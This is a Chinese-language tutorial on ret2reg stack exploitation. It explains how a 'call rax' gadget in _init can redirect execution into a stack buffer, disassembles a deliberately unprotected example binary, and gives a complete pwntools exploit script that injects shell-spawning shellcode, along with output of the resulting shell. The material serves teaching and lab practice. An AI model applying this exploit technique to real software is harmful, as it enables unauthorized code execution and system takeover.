利用思路
函数返回时,会存在寄存器指向存储变量的位置,其中最为常见的就是rsp寄存器,它永远指向当前程序栈顶的位置,除此之外,也可能存在其他的寄存器保存着缓冲区变量的位置。
ret2reg有两点要求,一是缓冲区变量可以容纳Shellcode,二是缓冲区变量所在的内存页是可以在执行的。
为了实现程序控制流的跳转,我们需要除了需要向缓冲区变量内注入Shellcode,还需要将函数的返回地址改成call xxx或jmp xxx指令的地址(xxx为寄存器)。
当然想要利用寄存器还有一点需要确认,就是寄存器的数值在函数返回时是可以使用的,而函数返回前就被覆盖了。
最可能利用的寄存器 - RAX
在x86_64架构中程序中,经常可以看到rax寄存器从栈上、只读区域等地方获取数值,对于GLibC来讲,调用的函数或跳转的位置常常是运行期才会完成确认,因此GlibC中就会经常看到,函数先取出数值到rax寄存器中,然后再通过call或jmp指令,调用rax寄存器内的信息。
通过GCC编译器产生的程序,在其最终生成的ELF文件内,经常可以看到GLibC插入的代码,这些代码直接给我们提供了call rax和jmp rax指令。
其中_init函数会使用caal rax指令,该rax寄存器中数据的来源是ELF文件内的.got节,它会根据PREINIT_FUNCTION函数是否存在,然后进行调用。PREINIT_FUNCTION函数对应着__gmon_start__,当程序启用分析功能时,LD就修改.got节中数据,让程序再这里进行分析功能的初始化。
1 2 3 4 5 6 7 8 9 | 0000000000401000 <_init>: 401000: f3 0f 1e fa endbr64 401004: 48 83 ec 08 sub $0x8,%rsp 401008: 48 8b 05 c9 2f 00 00 mov 0x2fc9(%rip),%rax # 403fd8 <__gmon_start__@Base> 40100f: 48 85 c0 test %rax,%rax 401012: 74 02 je 401016 <_init+0x16> 401014: ff d0 call *%rax 401016: 48 83 c4 08 add $0x8,%rsp 40101a: c3 ret |
除了_init函数之外,当然还有其他函数也具备call rax或jmp rax的特征,只要是符合调用运行期才会解析的函数的特点。
示例讲解
本程序的保护情况如下所示,不难看出当前程序没有任何的保护。
1 2 3 4 5 6 7 | Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments |
从程序的反汇编结果中可以看到,vuln是一个存在缓冲区溢出漏洞的函数,缓冲区变量拥有足够的空间容纳Shellcode,而且fgets函数的返回值就是缓冲区变量的所在地址,正好位于rax寄存器中,如果我们能找到call rax或jmp rax指令的所在地址,就可以让程序在返回时前往缓冲区变量,进而执行缓冲区变量内的Shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | 0000000000401146 <vuln>: 401146: 55 push %rbp 401147: 48 89 e5 mov %rsp,%rbp 40114a: 48 81 ec 10 01 00 00 sub $0x110,%rsp 401151: 48 8d 05 ac 0e 00 00 lea 0xeac(%rip),%rax # 402004 <_IO_stdin_used+0x4> 401158: 48 89 c6 mov %rax,%rsi 40115b: 48 8d 05 a4 0e 00 00 lea 0xea4(%rip),%rax # 402006 <_IO_stdin_used+0x6> 401162: 48 89 c7 mov %rax,%rdi 401165: e8 e6 fe ff ff call 401050 <fopen@plt> 40116a: 48 89 45 f8 mov %rax,-0x8(%rbp) 40116e: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 401173: 75 0f jne 401184 <vuln+0x3e> 401175: 48 8d 05 95 0e 00 00 lea 0xe95(%rip),%rax # 402011 <_IO_stdin_used+0x11> 40117c: 48 89 c7 mov %rax,%rdi 40117f: e8 ac fe ff ff call 401030 <puts@plt> 401184: 48 8d 05 98 0e 00 00 lea 0xe98(%rip),%rax # 402023 <_IO_stdin_used+0x23> 40118b: 48 89 c7 mov %rax,%rdi 40118e: e8 9d fe ff ff call 401030 <puts@plt> 401193: 48 8b 55 f8 mov -0x8(%rbp),%rdx 401197: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax 40119e: be 00 10 00 00 mov $0x1000,%esi 4011a3: 48 89 c7 mov %rax,%rdi 4011a6: e8 95 fe ff ff call 401040 <fgets@plt> 4011ab: 90 nop 4011ac: c9 leave 4011ad: c3 ret00000000004011ae <main>: 4011ae: 55 push %rbp 4011af: 48 89 e5 mov %rsp,%rbp 4011b2: b8 00 00 00 00 mov $0x0,%eax 4011b7: e8 8a ff ff ff call 401146 <vuln> 4011bc: 48 8d 05 65 0e 00 00 lea 0xe65(%rip),%rax # 402028 <_IO_stdin_used+0x28> 4011c3: 48 89 c7 mov %rax,%rdi 4011c6: e8 65 fe ff ff call 401030 <puts@plt> 4011cb: b8 00 00 00 00 mov $0x0,%eax 4011d0: 5d pop %rbp 4011d1: c3 ret |
构造exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import osimport pwnimport structpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')target_info = { 'exec_path': './ret2reg_example', 'addr_len': 0x8, 'bufvar2stack': 0x110, 'shellcode': 0x0, 'call_rax': 0x401014,}shellcode_src = pwn.shellcraft.sh()target_info['shellcode'] = pwn.asm(shellcode_src)pwn.context.binary = pwn.ELF(target_info['exec_path'])conn = pwn.process(target_info['exec_path'])pwn.pause()payload = target_info['shellcode']payload += b'\x90' * (target_info['bufvar2stack'] - len(target_info['shellcode']))payload += b'A' * target_info['addr_len']payload += pwn.p64(target_info['call_rax'])conn.sendlineafter('>>>>\n', payload)conn.interactive() |
成功PWN
1 2 3 4 5 6 7 8 9 10 11 | [+] Starting local process './ret2reg_example': pid 36498[*] Paused (press any to continue)/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout)[*] Switching to interactive mode$ iduid=1000(nora) gid=1000(nora) groups=1000(nora),3(sys),90(network),98(power),991(lp),998(wheel)$ exit[*] Got EOF while reading in interactive$ [*] Process './ret2reg_example' stopped |